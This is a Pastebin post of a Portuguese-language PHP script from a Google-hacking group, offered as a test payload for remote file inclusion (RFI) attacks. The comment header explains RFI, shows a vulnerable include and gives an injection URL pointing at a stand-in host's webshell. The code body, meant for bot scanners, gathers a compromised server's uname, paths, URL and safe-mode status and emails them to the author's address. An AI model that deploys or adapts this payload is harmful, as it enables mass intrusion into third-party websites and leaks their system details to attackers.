Googleinurl

Script Teste RFI 1.0 Googleinurl - Brasil

Aug 27th, 2012
3,276
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3. Script Teste RFI 1.0 Googleinurl - Brasil
  4. By: Cleiton Pinheiro.
  5.  
  6. Blog.inurl.com.br
  7. GoogleINURL - Brasil pesquisa avançada.
  8. Grupo voltado a busca detalhada no motor de pesquisa google. Utilizando operadores especiais google O que é Google hacking?
  9. É uma pirataria de informática técnica que utiliza o
  10. Google Search e outras Google aplicativos para encontrar falhas de segurança
  11. na configuração e código de computador
  12.  
  13.  
  14. /////////////////////////////////////////////////////////////////////////////////////////////
  15. RFI:
  16. Inclusão de arquivos remotos (RFI) é um tipo de vulnerabilidade mais freqüentemente encontrados em sites. Ele permite que um atacante para incluir um arquivo remoto, geralmente através de um script no servidor web. A vulnerabilidade ocorre devido ao uso de entrada fornecido pelo usuário, sem a devida validação. Isto pode conduzir a algo tão mínima quanto a saída do conteúdo do ficheiro, mas, dependendo da gravidade, para uma lista de alguns, pode levar a:
  17.  
  18. Execução de código no servidor web
  19. Execução de código no lado do cliente, tais como JavaScript, o que pode levar a outros ataques, tais como cross-site scripting (XSS).
  20. Negação de Serviço (DoS)
  21. O roubo de dados / Manipulação.
  22.  
  23. Considere este script PHP (que inclui um arquivo especificado pelo pedido):
  24. Sem nem tipo de validação.
  25. exemplo code:
  26. <?php
  27.    $color = 'blue';
  28.    if (isset( $_GET['COLOR'] ) )
  29.       $color = $_GET['COLOR'];
  30.    include( $color . '.php' );
  31. ?>
  32. <form method="get">
  33.    <select name="COLOR">
  34.       <option value="red">red</option>
  35.       <option value="blue">blue</option>
  36.    </select>
  37.    <input type="submit">
  38. </form>
  39.  
  40. O programador destina apenas blue.php red.php e para ser usado como opcionais. Mas, como qualquer pessoa pode facilmente inserir valores arbitrários na cor, é possível injetar um código de arquivos:
  41. Nunca se dever setar uma variável Get sem filtrar seu conteúdo.
  42.  
  43. /vulnerable.php?COLOR=http://evil.example.com/webshell.txt? - Injeta um arquivo hospedado remotamente contendo um código malicioso no caso uma shell.
  44.  
  45. Referencia: http://en.wikipedia.org/wiki/Remote_file_inclusion
  46.  
  47.  
  48. Esse script pode ser usado em botscanner's.
  49. Alem os possiveis vulner's serão enviados para seu email,"Os que possuirem sendmail"
  50. O envio de informações é feito atraves da function mail();
  51.  
  52. Referencia: http://php.net/manual/pt_BR/function.mail.php
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59. */
  60.  
  61. ob_start();
  62. phpinfo();
  63. $phpinfo = array('phpinfo' => array());
  64. if(preg_match_all('#(?:<h2>(?:<a name=".*?">)?(.*?)(?:</a>)?</h2>)|(?:<tr(?: class=".*?")?><t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>(?:<t[hd](?: class=".*?")?>(.*?)\s*</t[hd]>)?)?</tr>)#s', ob_get_clean(), $matches, PREG_SET_ORDER)){
  65.     foreach($matches as $match){
  66.         if(strlen($match[1]))
  67.             $phpinfo[$match[1]] = array();
  68.         elseif(isset($match[3]))
  69.             $phpinfo[end(array_keys($phpinfo))][$match[2]] = isset($match[4]) ? array($match[3], $match[4]) : $match[3];
  70.         else
  71.             $phpinfo[end(array_keys($phpinfo))][] = $match[2];
  72.  }
  73. }
  74. ini_set("max_execution_time",-1);
  75.  
  76. set_time_limit(0);
  77.  
  78. $user = @get_current_user();
  79.  
  80. $uname = @php_uname();
  81.  
  82. $data = date('h-i-s, j-m-y, it is w Day z');
  83.  
  84. $safemode = @ini_get('safe_mode');
  85.  
  86. $url=$_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
  87.  
  88. $caminho = substr($_SERVER['SCRIPT_FILENAME'], 0, strlen($_SERVER['SCRIPT_FILENAME']) - strlen(strrchr($_SERVER['SCRIPT_FILENAME'], "\\")));
  89.  
  90.  if ($safemode == '') {
  91.  $safemode = "OFF";
  92.  }
  93.  else { $safemode = " $SafeMode ";
  94.  }
  95.  
  96. $dados ="<b>Nome: </b>{$uname}<br>";
  97. $dados.="<b>Safe Mode:</b>{$phpinfo['PHP Core']['safe_mode'][0]}<br />";
  98. $dados.="<b>URL: </b>{$url}<br>";
  99. $dados.="<b>Data: </b>{$data}<br>";
  100. $dados.="<b>Caminho: </b>{$caminho}<br>";
  101. $dados.="<b>System: </b>{$phpinfo['phpinfo']['System']}<br />";
  102.  
  103. $assunto = "Vulner_inurl";
  104.  
  105. $email = "google@inurl.com.br";
  106.  
  107. $headers="From: <$email>\r\n";
  108. $headers.="MIME-Version: 1.0\r\n";
  109. $headers.="Content-type: text/html; charset=iso-8859-1\r\n";
  110. $headers.="X-Mailer: PHP/".phpversion()."\r\n";
  111.  
  112. if(mail($email,$assunto,$dados,$headers)){
  113. echo $dados;
  114. echo "OK enviado~";
  115. exit();
  116. }
  117. else{
  118. echo "Não foi.";
  119. exit();
  120. }
  121. ?>
RAW Paste Data